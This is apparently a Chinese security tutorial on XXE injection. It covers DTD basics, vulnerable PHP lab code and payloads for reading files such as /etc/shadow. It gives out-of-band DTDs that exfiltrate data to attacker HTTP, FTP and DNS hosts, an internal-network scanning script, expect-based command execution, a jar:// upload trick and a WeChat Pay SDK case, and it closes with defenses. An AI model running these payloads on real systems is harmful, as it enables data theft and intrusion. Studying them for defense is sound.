XXE
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,是对XML注入的扩展,普通的 XML 注入太过鸡肋。
XML的基础知识
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的,他就是长得下面这个样子
示例代码:
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写
示例代码:
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
DTD中还可以定义实体
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体,到时候我们可以在 XML 中通过 & 符号进行引用,那么 XML 就可以写成这样
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。
上面的例子是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:
示例代码:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
上面的例子是通用实体,在XML文档引用,而参数实体,% 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
XXE利用一:有回显的读取敏感文件
首先在本地上搭建php环境
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$c = simplexml_import_dom($dom);
echo $c;
?>
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<test>&goodies;</test>

成功读取到文件
当文件含有特殊字符,如&,<,>,”,’等,文件读取会失败。这时候我们可以利用base64编码输出
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt"> ]>
<test>&goodies;</test>

另外一种方法是把我们的读出来的数据放在 CDATA 中输出。
<![CDATA[
XXXXXXXXXXXXXXXXX
]]>
这时候需要用到参数实体和外部引用DTD文件。要确保服务器支持外部引用,如果是PHP环境,需要allowurlfopen=on。
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
同时在自己的服务器下放置did文件
evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

XXE利用二:没有回显读取敏感文件
首先将我们刚刚搭建的PHP环境改为无回显的。
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
因为没有回显,所以我们要将文件外带出来,所以需要发起请求,而且要将读取的文件内容放入请求中,所以要用到外部DTD。 首先在自己的服务器下放置DTD文件
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
ps: send 前面的 %要转为HTML 实体,否则会出错。因为实体的值中不能有 %, 所以将其转成html实体编码 %
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
整个调用过程:
我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
可以在apache的access.log中看到请求记录中带有编码后的文件内容

也可以在kali 用nc -lvp 端口号 进行监听

如果将DTD文件内容改为:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://www.eyngtd.ceye.io/%file;'>"
则可以在DNSlog在看到外带出来的内容(dnslog的知识在我之前的博客有提到)

目标站为JAVA环境
若在实际的渗透测试中,目标站是java环境,我们想外带数据,但是没有像php这样的filter协议来base64编码怎么办呢?
我们可以在vps上搭建一个ftp服务器来继续传输数据。
搭建ftp的脚本github上有很多,这里随便找一个都行。
2.dtd:
<!ENTITY % d SYSTEM "file:///etc/shadow">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://121.196.193.160:8009/%d;'>">
%c;
在自己的服务器上放置2.dtd,同时运行ftp服务器脚本。(https://github.com/TheTwitchy/xxer)

然后发送payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % aad SYSTEM "http://121.196.193.160/2.dtd">
%aad;
%c;
]>
<reg>
<name>&rrr;</name>
</reg>
就可以看到传输过来的数据了。

XXE利用三: HTTP 内网主机探测
可以利用XXE来探测内网中的HTTP主机
ptyhon脚本:
import requests
import base64
def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://10.10.10.1:8080/123.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print (coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.10.10.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print (string)
build_xml(string)
except:
continue
即探测内网中开放80端口的主机,需要有回显的情况
XXE利用四:探测内网端口
可以结合bp的爆破模块,根据响应时间大概探测端口。
XXE利用五:远程代码执行
需要php开启expect模块,这种情况很少。
<!ENTITY xxe SYSTEM "expect://id" >]>
XXE利用五:上传文件
前面将的都是跟PHP有关的xxe漏洞,有师傅说实际上现实中很多都是 java 的框架出现的 XXE 漏洞。首先认识下java的协议 jar://。
jar:// 协议的格式:
jar:{url}!{path}
实例:
jar:http://host/application.jar!/file/within/the/zip
这个 ! 后面就是其需要从中解压出的文件
jar 协议处理文件的过程:
(1) 下载 jar/zip 文件到临时文件中 (2) 提取出我们指定的文件 (3) 删除临时文件
网上找的解析 XML 文件的 java 源码:
package xml_test;
import java.io.File;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Attr;
import org.w3c.dom.Comment;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
public class xml_test
{
public static void main(String[] args) throws Exception
{
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new File("student.xml"));
//获得根元素结点
Element root = doc.getDocumentElement();
parseElement(root);
}
private static void parseElement(Element element)
{
String tagName = element.getNodeName();
NodeList children = element.getChildNodes();
System.out.print("<" + tagName);
//element元素的所有属性所构成的NamedNodeMap对象,需要对其进行判断
NamedNodeMap map = element.getAttributes();
//如果该元素存在属性
if(null != map)
{
for(int i = 0; i < map.getLength(); i++)
{
//获得该元素的每一个属性
Attr attr = (Attr)map.item(i);
String attrName = attr.getName();
String attrValue = attr.getValue();
System.out.print(" " + attrName + "=\"" + attrValue + "\"");
}
}
System.out.print(">");
for(int i = 0; i < children.getLength(); i++)
{
Node node = children.item(i);
//获得结点的类型
short nodeType = node.getNodeType();
if(nodeType == Node.ELEMENT_NODE)
{
//是元素,继续递归
parseElement((Element)node);
}
else if(nodeType == Node.TEXT_NODE)
{
//递归出口
System.out.print(node.getNodeValue());
}
else if(nodeType == Node.COMMENT_NODE)
{
System.out.print("<!--");
Comment comment = (Comment)node;
//注释内容
String data = comment.getData();
System.out.print(data);
System.out.print("-->");
}
}
System.out.print("</" + tagName + ">");
}
}
有了这个源码以后,我们需要在本地建立一个 xml 文件 ,我取名为 student.xml
<!DOCTYPE convert [
<!ENTITY remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php">
]>
<convert>&remote;</convert>

大佬用 python 写的一个 TCP 服务器,这个服务器的目的就是接受客户端的请求,然后向客户端发送一个我们运行时就传入的参数指定的文件,但是还没完,这里加了一个 sleep(30),来延长临时文件的存在时间。
python脚本:
import sys
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc
listen_host = 'localhost'
listen_port = 9999
jar_file = sys.argv[1]
class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('Client req:\r\n',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))
self.request.sendall(contents[:-1])
time.sleep(30)
print(30)
self.request.sendall(contents[-1:])
except Exception as e:
print ("get error at:"+str(e))
if __name__ == '__main__':
jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()
如果我们要知道临时文件所在的文件夹,可以利用报错来知晓。
jar:http://localhost:9999/jar.zip!/1.php
当1.php不在jar.zip中时,会报错。

知道路径后,我们就要利用sleep()延长临时文件的存在时间,而且,因为我们要利用的时候肯定是在文件没有完全传输成果的时候,因此为了文件的完整性,考虑在传输前就使用 hex 编辑器在文件末尾添加垃圾字符。
演示的动图,可以看到,临时文件在文件夹存在了一小段时间。

具体怎么利用,看实际情况吧。
微信支付的XXE
漏洞描述:
微信支付提供了一个 api 接口,供商家接收异步支付结果,微信支付所用的java sdk在处理结果时可能触发一个XXE漏洞,攻击者可以向这个接口发送构造恶意payloads,获取商家服务器上的任何信息,一旦攻击者获得了敏感的数据 (md5-key and merchant-Id etc.),他可能通过发送伪造的信息不用花钱就购买商家任意物品
我下载了 java 版本的 sdk 进行分析,这个 sdk 提供了一个 WXPayUtil 工具类,该类中实现了xmltoMap和maptoXml这两个方法,而这次的微信支付的xxe漏洞爆发点就在xmltoMap方法中
public static Map<String, String> xmlToMap(String strXML) throws Exception {
try {
Map<String, String> data = new HashMap();
DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
Document doc = documentBuilder.parse(stream);
doc.getDocumentElement().normalize();
NodeList nodeList = doc.getDocumentElement().getChildNodes();
for(int idx = 0; idx < nodeList.getLength(); ++idx) {
Node node = nodeList.item(idx);
if (node.getNodeType() == 1) {
Element element = (Element)node;
data.put(element.getNodeName(), element.getTextContent());
}
}
try {
stream.close();
} catch (Exception var9) {
;
}
return data;
} catch (Exception var10) {
getLogger().warn("Invalid XML, can not convert to map. Error message: {}. XML content: {}", var10.getMessage(), strXML);
throw var10;
}
}
我们可以看到 当构建了 documentBuilder 以后就直接对传进来的 strXML 解析了,而不巧的是 strXML 是一处攻击者可控的参数,于是就出现了 XXE 漏洞. 为了测试漏洞,在 com 包下又新建了一个包,来写我们的测试代码,测试代码命名为 test001.java
test001.java
package com.test.test001;
import java.util.Map;
import static com.github.wxpay.sdk.WXPayUtil.xmlToMap;
public class test001 {
public static void main(String args[]) throws Exception {
String xmlStr ="<?xml version='1.0' encoding='utf-8'?>\r\n" +
"<!DOCTYPE XDSEC [\r\n" +
"<!ENTITY xxe SYSTEM 'netdoc:/d:/1.txt'>]>\r\n" +
"<XDSEC>\r\n"+
"<XXE>&xxe;</XXE>\r\n" +
"</XDSEC>";
try{
Map<String,String> test = xmlToMap(xmlStr);
System.out.println(test);
}catch (Exception e){
e.printStackTrace();
}
}
}
这里用了netdoc:/协议,netdoc:/ 和file:///一样,可以读取文件,在java中。

JSON content-type XXE
正如我们所知道的,很多web和移动应用都基于客户端-服务器交互模式的web通信服务。不管是SOAP还是RESTful,一般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击。也就是原本接受数据格式为JSON,Content-Type: application/json的服务器,在传入xml数据,Content-Type: application/xml后可能可以解析xml数据。从而造成漏洞。
XXE防御
使用语言中推荐的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))